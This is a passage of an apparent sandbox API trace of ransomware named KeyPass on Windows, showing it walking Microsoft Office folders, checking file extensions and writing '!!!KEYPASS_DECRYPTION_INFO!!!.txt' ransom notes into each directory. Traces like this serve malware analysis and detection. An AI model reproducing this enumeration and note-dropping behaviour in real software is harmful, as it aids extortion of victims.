Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\computers\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa60 [0257.731] GetFileType (hFile=0xa60) returned 0x1 [0257.732] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0257.732] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0257.732] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0257.732] WriteFile (in: hFile=0xa60, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0257.743] WriteFile (in: hFile=0xa60, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0257.743] CloseHandle (hObject=0xa60) returned 1 [0257.744] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x3875f00 [0257.744] FindNextFileW (in: hFindFile=0x3875f00, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.744] FindNextFileW (in: hFindFile=0x3875f00, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.744] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.744] FindNextFileW (in: hFindFile=0x3875f00, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.744] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg") returned=".jpg" [0257.744] FindNextFileW (in: hFindFile=0x3875f00, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0257.744] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp") returned=".bmp" [0257.744] FindNextFileW (in: hFindFile=0x3875f00, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0257.744] FindNextFileW (in: hFindFile=0x38761c0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0257.744] FindNextFileW (in: hFindFile=0x3876040, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0257.744] FindNextFileW (in: hFindFile=0x3876440, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.744] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0257.744] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.744] GetLastError () returned 0x3f0 [0257.744] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.744] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa70 [0257.816] GetFileType (hFile=0xa70) returned 0x1 [0257.816] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0257.816] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0257.816] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0257.817] WriteFile (in: hFile=0xa70, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0257.817] WriteFile (in: hFile=0xa70, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0257.817] CloseHandle (hObject=0xa70) returned 1 [0257.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3875f40 [0257.818] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.819] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.819] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.819] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.819] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\ALERT.ICO") returned=".ICO" [0257.819] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.819] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\CHEVRON.ICO") returned=".ICO" [0257.819] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.819] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\COMPUTER.ICO") returned=".ICO" [0257.819] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.819] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\ContactSelector.ico") returned=".ico" [0257.819] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.819] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\GWE.ICO") returned=".ICO" [0257.819] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.819] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\INCOMING.ICO") returned=".ICO" [0257.819] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.819] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\INDOMAIN.ICO") returned=".ICO" [0257.819] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.819] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\MAIL.ICO") returned=".ICO" [0257.819] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.819] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\MANUAL.ICO") returned=".ICO" [0257.819] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\messageboxalert.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\messageboxerror.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\messageboxinfo.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\ModifiedTelespace.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OFFLINE.ICO") returned=".ICO" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\ONLINE.ICO") returned=".ICO" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OnLineBusy.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OnLineIdle.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OutDomain.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OUTGOING.ICO") returned=".ICO" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OutSyncPC.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\PersonalContact.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\SessionMember.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\SessionOwner.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\SpaceSelector.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\StatusAway.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.820] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\StatusDoNotDisturb.ico") returned=".ico" [0257.820] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\StatusOnline.ico") returned=".ico" [0257.821] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\TOOLICON.ICO") returned=".ICO" [0257.821] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\WSS.ICO") returned=".ICO" [0257.821] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\WSS_DocLib.ico") returned=".ico" [0257.821] FindNextFileW (in: hFindFile=0x3875f40, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0257.821] FindNextFileW (in: hFindFile=0x3876440, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0257.821] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE") returned=".EXE" [0257.821] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.VisualElementsManifest.xml") returned=".xml" [0257.821] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVEEX.DLL") returned=".DLL" [0257.821] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\HeaderPatterns.xml") returned=".xml" [0257.821] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\HVAC.DLL") returned=".DLL" [0257.821] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEAWSDC.DLL") returned=".DLL" [0257.821] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IEContentService.exe") returned=".exe" [0257.821] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IGX.DLL") returned=".DLL" [0257.821] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IMCOMMON.DLL") returned=".DLL" [0257.821] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IMDIMP.ADD") returned=".ADD" [0257.821] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.821] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IMUTIL.DLL") returned=".DLL" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IMWDD.DLL") returned=".DLL" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IMWIZ.DLL") returned=".DLL" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Installed_resources16.xss") returned=".xss" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Installed_schemas16.xss") returned=".xss" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.dll") returned=".dll" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Interceptor.tlb") returned=".tlb" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\INTLDATE.DLL") returned=".DLL" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IVY.DLL") returned=".DLL" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IXGENERC.PDL") returned=".PDL" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IXORACLE.PDL") returned=".PDL" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IXSSRV.PDL") returned=".PDL" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\IXUTIL.DLL") returned=".DLL" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\JitV.dll") returned=".dll" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LGND.DLL") returned=".DLL" [0257.822] FindNextFileW (in: hFindFile=0x2e79a18, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0257.822] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0257.823] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.823] GetLastError () returned 0x3f0 [0257.823] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.823] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa74 [0257.824] GetFileType (hFile=0xa74) returned 0x1 [0257.824] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0257.825] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0257.825] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0257.825] WriteFile (in: hFile=0xa74, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0257.825] WriteFile (in: hFile=0xa74, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0257.825] CloseHandle (hObject=0xa74) returned 1 [0257.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x3876280 [0257.826] FindNextFileW (in: hFindFile=0x3876280, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.826] FindNextFileW (in: hFindFile=0x3876280, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.826] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0257.826] FindNextFileW (in: hFindFile=0x3876280, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0257.826] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0257.826] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0257.826] GetLastError () returned 0x3f0 [0257.826] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0257.826] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0257.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\analysis\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e4e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa7c [0257.913] GetFileType (hFile=0xa7c) returned 0x1 [0257.913] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0257.913] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0257.913] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0257.913] WriteFile (in: hFile=0xa7c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x3a4, lpOverlapped=0x0) returned 1 [0257.915] WriteFile (in: hFile=0xa7c, lpBuffer=0x2e4d180*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4caac, lpOverlapped=0x0 | out: lpBuffer=0x2e4d180*, lpNumberOfBytesWritten=0x2e4caac*=0x2a, lpOverlapped=0x0) returned 1 [0257.915] CloseHandle (hObject=0xa7c) returned 1 [0257.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\*", lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0x3876140 [0257.916] FindNextFileW (in: hFindFile=0x3876140, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.916] FindNextFileW (in: hFindFile=0x3876140, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0257.916] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 